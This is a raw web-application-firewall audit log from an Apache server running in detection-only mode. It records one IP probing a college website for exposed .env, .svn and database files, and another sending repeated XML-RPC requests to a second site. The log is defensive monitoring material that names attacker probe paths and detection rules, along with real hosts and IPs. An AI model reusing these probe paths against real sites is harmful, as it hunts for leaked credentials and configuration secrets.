ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/prod/.env"] [unique_id "aE8YLu5gkr5NYpwyzHHzfQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013998223963 728593 (- - -) Stopwatch2: 1750013998223963 728593; combined=1893, p1=417, p2=1357, p3=0, p4=0, p5=118, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79708e4f-Z-- --e345541d-A-- [16/Jun/2025:00:30:07.051035 +0530] aE8YNleqy5hRjKvJEAyX8wAAAAE 185.177.72.210 59354 127.0.0.1 7081 --e345541d-B-- GET /:8181/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e345541d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4cbff2e17ae97f987078cf36043d63ab1750014006; expires=Sun, 15 Jun 2025 20:00:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e345541d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/example/.env"] [unique_id "aE8YNleqy5hRjKvJEAyX8wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014006365845 685250 (- - -) Stopwatch2: 1750014006365845 685250; combined=1958, p1=374, p2=1506, p3=0, p4=0, p5=77, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e345541d-Z-- --b1d19800-A-- [16/Jun/2025:00:30:20.823436 +0530] aE8YRJnj7pFxi-BGHz6ongAAAAI 185.177.72.210 57448 127.0.0.1 7081 --b1d19800-B-- GET /old/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b1d19800-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=901e32066ee5e1892977d9b93fa1d0281750014020; expires=Sun, 15 Jun 2025 20:00:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b1d19800-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.production"] [unique_id "aE8YRJnj7pFxi-BGHz6ongAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014020163876 659640 (- - -) Stopwatch2: 1750014020163876 659640; combined=1747, p1=406, p2=1238, p3=0, p4=0, p5=102, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b1d19800-Z-- --f8e12607-A-- [16/Jun/2025:00:30:21.799462 +0530] aE8YRShnDkBlcF0fkxMJrwAAAAQ 185.177.72.210 57482 127.0.0.1 7081 --f8e12607-B-- GET /log.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f8e12607-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a666178642e8bd11bb21e43d38172921750014021; expires=Sun, 15 Jun 2025 20:00:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f8e12607-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/log.mdb"] [unique_id "aE8YRShnDkBlcF0fkxMJrwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014021160336 639189 (- - -) Stopwatch2: 1750014021160336 639189; combined=2160, p1=414, p2=1635, p3=0, p4=0, p5=110, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8e12607-Z-- --fd6bcd61-A-- [16/Jun/2025:00:30:24.912863 +0530] aE8YR1eqy5hRjKvJEAyYAQAAAAE 128.199.112.101 57528 127.0.0.1 7081 --fd6bcd61-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fd6bcd61-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fd6bcd61-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8YR1eqy5hRjKvJEAyYAQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014023974819 938099 (- - -) Stopwatch2: 1750014023974819 938099; combined=2469, p1=451, p2=1589, p3=64, p4=60, p5=185, sr=125, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd6bcd61-Z-- --693e2224-A-- [16/Jun/2025:00:30:46.153279 +0530] aE8YXSCwfN5GtQhYhHA_XgAAAAw 185.177.72.210 34828 127.0.0.1 7081 --693e2224-B-- GET /ch7a-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --693e2224-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=469c379ffcbdf026b51dd569a701ce021750014045; expires=Sun, 15 Jun 2025 20:00:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --693e2224-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch7a-mytodo/.env"] [unique_id "aE8YXSCwfN5GtQhYhHA_XgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014045472187 681156 (- - -) Stopwatch2: 1750014045472187 681156; combined=1807, p1=424, p2=1287, p3=0, p4=0, p5=96, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --693e2224-Z-- --4d963339-A-- [16/Jun/2025:00:30:52.308319 +0530] aE8YY-5gkr5NYpwyzHHznwAAAAg 185.177.72.210 35854 127.0.0.1 7081 --4d963339-B-- GET /examples/with-relay-modern/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4d963339-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ff48184f1986ce194ce8861694f2bc8a1750014052; expires=Sun, 15 Jun 2025 20:00:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d963339-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/with-relay-modern/.env"] [unique_id "aE8YY-5gkr5NYpwyzHHznwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014051650686 657697 (- - -) Stopwatch2: 1750014051650686 657697; combined=1920, p1=379, p2=1436, p3=0, p4=0, p5=104, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d963339-Z-- --a1660f68-A-- [16/Jun/2025:00:30:54.286299 +0530] aE8YZQW_rlaNA7qLBTs--QAAAAs 185.177.72.210 35950 127.0.0.1 7081 --a1660f68-B-- GET /:10000/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a1660f68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a098cfe8ec6e65bf62999b2399888431750014054; expires=Sun, 15 Jun 2025 20:00:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a1660f68-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/docs/.env"] [unique_id "aE8YZQW_rlaNA7qLBTs--QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014053613898 672463 (- - -) Stopwatch2: 1750014053613898 672463; combined=1694, p1=377, p2=1221, p3=0, p4=0, p5=95, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a1660f68-Z-- --adb75e6d-A-- [16/Jun/2025:00:31:05.558919 +0530] aE8YcAW_rlaNA7qLBTs_BAAAAAs 185.177.72.210 42488 127.0.0.1 7081 --adb75e6d-B-- GET /:8000/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --adb75e6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fcd56090e9c1fc5c8f19c8f850273e8b1750014065; expires=Sun, 15 Jun 2025 20:01:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --adb75e6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/konfig/.env"] [unique_id "aE8YcAW_rlaNA7qLBTs_BAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014064895238 663743 (- - -) Stopwatch2: 1750014064895238 663743; combined=2189, p1=533, p2=1564, p3=0, p4=0, p5=92, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adb75e6d-Z-- --27791453-A-- [16/Jun/2025:00:31:20.071771 +0530] aE8YfyhnDkBlcF0fkxMJ2AAAAAQ 185.177.72.210 37266 127.0.0.1 7081 --27791453-B-- GET /:5601/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --27791453-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=567101113ada798523bbf70b0cbf8df01750014079; expires=Sun, 15 Jun 2025 20:01:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --27791453-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/dashboard/.env"] [unique_id "aE8YfyhnDkBlcF0fkxMJ2AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014079413401 658435 (- - -) Stopwatch2: 1750014079413401 658435; combined=1845, p1=357, p2=1388, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27791453-Z-- --73906848-A-- [16/Jun/2025:00:31:24.505415 +0530] aE8Yg3salJN_0-_70dLrSgAAAAU 128.199.112.101 37466 127.0.0.1 7081 --73906848-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --73906848-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --73906848-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Yg3salJN_0-_70dLrSgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014083515007 990474 (- - -) Stopwatch2: 1750014083515007 990474; combined=2290, p1=366, p2=1597, p3=34, p4=52, p5=153, sr=98, sw=88, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73906848-Z-- --bcdfd710-A-- [16/Jun/2025:00:32:24.480733 +0530] aE8Yv3salJN_0-_70dLrdQAAAAU 128.199.112.101 49648 127.0.0.1 7081 --bcdfd710-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --bcdfd710-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --bcdfd710-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Yv3salJN_0-_70dLrdQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014143505512 975278 (- - -) Stopwatch2: 1750014143505512 975278; combined=2095, p1=367, p2=1335, p3=42, p4=63, p5=186, sr=106, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bcdfd710-Z-- --2dc87565-A-- [16/Jun/2025:00:32:32.786517 +0530] aE8YyHsalJN_0-_70dLrewAAAAU 185.177.72.210 36778 127.0.0.1 7081 --2dc87565-B-- GET /Web/siteMariage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2dc87565-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ce46e941e3388f2a8ee2dc1fad6c1b2b1750014152; expires=Sun, 15 Jun 2025 20:02:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2dc87565-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Web/siteMariage/.env"] [unique_id "aE8YyHsalJN_0-_70dLrewAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014152101782 684810 (- - -) Stopwatch2: 1750014152101782 684810; combined=1876, p1=352, p2=1410, p3=0, p4=0, p5=113, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2dc87565-Z-- --481bff1e-A-- [16/Jun/2025:00:32:33.882734 +0530] aE8YyT3D4g1mGjVnV5KCIwAAAAY 185.177.72.210 36908 127.0.0.1 7081 --481bff1e-B-- GET /.svn/text-base/index.php.svn-base HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --481bff1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a72a6f5e6111c256ecd06570375ecd81750014153; expires=Sun, 15 Jun 2025 20:02:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --481bff1e-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/text-base/index.php.svn-base"] [unique_id "aE8YyT3D4g1mGjVnV5KCIwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014153103767 779030 (- - -) Stopwatch2: 1750014153103767 779030; combined=2108, p1=385, p2=1632, p3=0, p4=0, p5=90, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --481bff1e-Z-- --5b408b24-A-- [16/Jun/2025:00:32:34.855485 +0530] aE8Yypnj7pFxi-BGHz6o-QAAAAI 185.177.72.210 37042 127.0.0.1 7081 --5b408b24-B-- GET /:9000/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 